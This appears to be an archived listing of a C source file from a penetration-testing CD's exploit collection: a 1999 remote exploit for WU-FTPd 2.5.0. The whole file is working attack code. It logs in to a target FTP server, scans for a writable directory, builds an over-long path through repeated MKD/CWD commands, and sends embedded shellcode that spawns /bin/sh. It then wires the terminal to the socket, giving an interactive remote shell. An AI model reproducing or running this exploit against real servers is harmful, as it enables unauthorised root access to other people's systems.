home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wu25v2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  340 lines

  1. /*
  2.  *        (Yet another) WU-FTPd 2.5.0 exploit
  3.  *      Searches for writable path and overflows
  4.  *
  5.  *      (c) 1999 Mixter <mixter@newyorkoffice.com>
  6.  *      http://members.tripod.com/mixtersecurity
  7.  *
  8.  *      Target platforms: RedHat5 / RedHat6 / Debian Linux
  9.  */
  10.  
  11. #define PADDING        15    /* buffer size / 255 - hint, this can vary */
  12. // #define PADDING     8    /* try this for debian */
  13. // #define PADDING     2    /* redhat 5.2 source compilation */
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <stdlib.h>
  18. #include <netdb.h>
  19. #include <sys/socket.h>
  20. #include <sys/time.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <signal.h>
  25. #include <errno.h>
  26. #include <unistd.h>
  27. #include <fcntl.h>
  28.  
  29. #define FTPPORT        21
  30.  
  31. #define sockw(x) write(fd,x,strlen(x));
  32.  
  33. int port (int, char *);
  34. int eval_list (char *);
  35.  
  36. char path[1024];
  37. char path2[2048];
  38.  
  39. static char *hellcode1 =
  40.   "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31"
  41.   "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb"
  42.   "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01"
  43.   "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
  44.   "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80"
  45.   "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e"
  46.   "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  47.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01"
  48.   "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
  49.   "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  50.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  51.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  52.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  53.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c"
  54.   "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x0b\x8b\x0c\x08\x0a";
  55.  
  56. static char *hellcode2 =
  57.   "\x01\xfe\xff\xff\xbf\x45\x04\x0b\x08\x31\xc0\x31\xdb\x31"
  58.   "\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb"
  59.   "\x6b\x90\x90\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01"
  60.   "\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
  61.   "\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80"
  62.   "\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e"
  63.   "\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  64.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01"
  65.   "\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
  66.   "\x2e\x2e\x31\x31\x42\x69\x42\x69\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  67.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  68.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  69.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  70.   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xe4\x8a\x0c"
  71.   "\x08\x20\x20\x20\x20\x2c\x05\x0b\x08\x01\x8b\x0c\x08\x0a";
  72.  
  73. void
  74. usage (char *arg)
  75. {
  76.   printf ("wu25 writable path exploit by Mixter <mixter@newyorkoffice.com>\n");
  77.   printf ("usage: %s <host> [user] [pass]\n", arg);
  78.   exit (0);
  79. }
  80.  
  81. int
  82. ftptest (int fd, char *us3r, char *p4ss)
  83. {
  84.   char buff[1024];
  85.   u_int nl = sizeof (struct sockaddr_in);
  86.   FILE *fp;
  87.   struct sockaddr_in sock;
  88.   struct sockaddr_in s;
  89.  
  90.   getpeername (fd, (struct sockaddr *) &sock, &nl);
  91.  
  92.   fp = fdopen (fd, "r");
  93.  
  94.   sockw (us3r);
  95.   sockw (p4ss);
  96.  
  97.   do
  98.     {
  99.       if (fgets (buff, sizeof (buff), fp) == NULL)
  100.         break;
  101.       switch (atoi (strtok (buff, " ")))
  102.         {
  103.         case 530:
  104.           fclose (fp);
  105.           return (0);
  106.           break;
  107.         case 230:
  108.           getsockname (fd, (struct sockaddr *) &s, &nl);
  109.           if (port (fd, inet_ntoa (s.sin_addr)))
  110.             return (1);
  111.           break;
  112.         }
  113.     }
  114.   while (atoi (strtok (buff, " ")) != 230);
  115.  
  116.   fclose (fp);
  117.   return (0);
  118. }
  119.  
  120. int
  121. port (int fd, char *h)
  122. {
  123.   int i, sockfd, new_fd;
  124.   u_int sl = sizeof (struct sockaddr_in);
  125.   struct sockaddr_in my_addr;
  126.   struct sockaddr_in s;
  127.   struct sockaddr_in their_addr;
  128.   FILE *fp;
  129.   char h2[1024];
  130.  
  131.   if ((sockfd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == -1)
  132.     {
  133.       return (0);
  134.     }
  135.  
  136.   bzero (&(my_addr.sin_zero), 8);
  137.   my_addr.sin_family = AF_INET;
  138.   my_addr.sin_port = 0;
  139.   my_addr.sin_addr.s_addr = INADDR_ANY;
  140.  
  141.   if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) == -1)
  142.     {
  143.       return (0);
  144.     }
  145.  
  146.   if (listen (sockfd, 1) == -1)
  147.     {
  148.       return (0);
  149.     }
  150.  
  151.   getsockname (sockfd, (struct sockaddr *) &s, &sl);
  152.  
  153.   for (i = 0; i != (int) strlen (h); i++)
  154.     if (h[i] == '.')
  155.       h[i] = ',';
  156.  
  157.   for (i = 4; htons (i + 1) < ntohs (s.sin_port); i++);
  158.  
  159.   snprintf (h2, sizeof (h2), "PORT %s,%d,%d\r\n", h, i, ntohs (s.sin_port) - htons (i));
  160.  
  161.   sockw (h2);
  162.  
  163.   sockw ("LIST -lAR\r\n");
  164.  
  165.   if ((new_fd = accept (sockfd, (struct sockaddr *) &their_addr, &sl)) == -1)
  166.     {
  167.       return (-1);
  168.     }
  169.  
  170.   fp = fdopen (new_fd, "r");
  171.  
  172.   if (!fp)
  173.     {
  174.       return (0);
  175.     }
  176.  
  177.   while (fgets (h2, sizeof (h2), fp) != NULL)
  178.     {
  179.       if (eval_list (h2))
  180.         return (1);
  181.     }
  182.  
  183.   sockw ("QUIT\r\n");
  184.  
  185.   close (sockfd);
  186.   return (0);
  187. }
  188.  
  189. int
  190. eval_list (char *l)
  191. {
  192.   char *tmp, *m;
  193.  
  194.   tmp = l + strlen (l);
  195.   while (*(--tmp) != ' ');
  196.   tmp++;
  197.   m = strtok (l, " ");
  198.  
  199.   if (m[strlen (m) - 3] == ':')
  200.     {
  201.       snprintf (path, sizeof (path), "%s", strtok (m, ":"));
  202.     }
  203.  
  204.   snprintf (path2, sizeof (path2), "%s/%s", path, tmp);
  205.  
  206.   if (m[0] != 'd')
  207.     return (0);
  208.   if (m[strlen (m) - 2] == 'w' && m[strlen (m) - 3] == 'r')
  209.     {
  210.       memset (path, 0, 1024);
  211.       if (path2[0] == '/')
  212.         sprintf(path, "/%s", path2);
  213.       else
  214.         sprintf(path, "%s", path2);
  215.  
  216.       return (1);
  217.     }
  218.  
  219.   return (0);
  220. }
  221.  
  222. void
  223. termio (int p, int c)
  224. {
  225.   char buf[1024];
  226.   fd_set rfds;
  227.   int i;
  228.  
  229.   while (1)
  230.     {
  231.       FD_ZERO (&rfds);
  232.       FD_SET (p, &rfds);
  233.       FD_SET (c, &rfds);
  234.       if (select ((p > c ? p : c) + 1, &rfds, NULL, NULL, NULL) < 1)
  235.         return;
  236.       if (FD_ISSET (c, &rfds))
  237.         {
  238.           if ((i = read (c, buf, sizeof (buf))) < 1)
  239.             return;
  240.           write (p, buf, i);
  241.         }
  242.       if (FD_ISSET (p, &rfds))
  243.         {
  244.           if ((i = read (p, buf, sizeof (buf))) < 1)
  245.             return;
  246.           write (c, buf, i);
  247.         }
  248.     }
  249. }
  250.  
  251. u_long
  252. resolve (char *host)
  253. {
  254.   struct hostent *he;
  255.   struct sockaddr_in tmp;
  256.   if (inet_addr (host) != -1)
  257.     return (inet_addr (host));
  258.   he = gethostbyname (host);
  259.   if (he)
  260.     {
  261.       memcpy ((caddr_t) & tmp.sin_addr.s_addr, he->h_addr, he->h_length);
  262.       return (tmp.sin_addr.s_addr);
  263.     }
  264.   return (0);
  265. }
  266.  
  267. int
  268. main (int argc, char **argv)
  269. {
  270.   char user[30], pass[30];
  271.   struct sockaddr_in target;
  272.   int fd = socket (AF_INET, SOCK_STREAM, 0), c;
  273.   char ugly_a[256];
  274.  
  275.   memset (ugly_a, 0x90, 256);
  276.   ugly_a[255] = '\0';
  277.  
  278.   if (argc < 2)
  279.     usage (argv[0]);
  280.   if (argc > 2)
  281.     {
  282.       if (argc == 3)
  283.         usage (argv[0]);
  284.       snprintf (user, 30, "USER %s\r\n", argv[2]);
  285.       snprintf (pass, 30, "PASS %s\r\n", argv[3]);
  286.     }
  287.   else
  288.     {
  289.       snprintf (user, 30, "USER anonymous\r\n");
  290.       snprintf (pass, 30, "PASS anonymous@\r\n");
  291.     }
  292.   target.sin_family = AF_INET;
  293.   target.sin_port = htons (FTPPORT);
  294.   target.sin_addr.s_addr = resolve (argv[1]);
  295.   if (target.sin_addr.s_addr == 0)
  296.     usage (argv[0]);
  297.   c = connect (fd, (struct sockaddr *) &target, sizeof (struct sockaddr));
  298.   if (c < 0)
  299.     {
  300.       printf ("Connection error: %s\n", strerror (errno));
  301.       exit (0);
  302.     }
  303.   printf ("Connected to %s: ", argv[1]);
  304.   read (fd, path, 1024);
  305.   printf ("%s\nScanning for writeable directory... ", path);
  306.   fflush (0);
  307.   sleep (1);
  308.   if (!ftptest (fd, user, pass))
  309.     {
  310.       printf ("nope.\n");
  311.       exit (0);
  312.     }
  313.   printf ("found at: %s\n", path);
  314.   printf ("Overflowing stack... ");
  315.   snprintf (path2, 1024, "CWD %s\n", path);
  316.   sockw (path2);
  317.   sleep (1);
  318.   snprintf (path2, 1024, "MKD %s\nCWD %s\n", ugly_a, ugly_a);
  319.   for (c = 0; c < PADDING; c++)
  320.     sockw (path2);
  321.  
  322.   sleep (1);
  323.   sockw ("MKD ");
  324.   sockw (hellcode1);
  325.   sockw ("CWD ");
  326.   sockw (hellcode1);
  327.   sleep (1);
  328.   sockw ("MKD ");
  329.   sockw (hellcode2);
  330.   sockw ("CWD ");
  331.   sockw (hellcode2);
  332.  
  333.   printf("Overflow sent...\n");
  334.   dup2 (0, 0);
  335.   dup2 (1, 0);
  336.   dup2 (2, 0);
  337.   termio(0,fd);
  338.   return (0);
  339. }
  340. /*                    www.hack.co.za              [2000]*/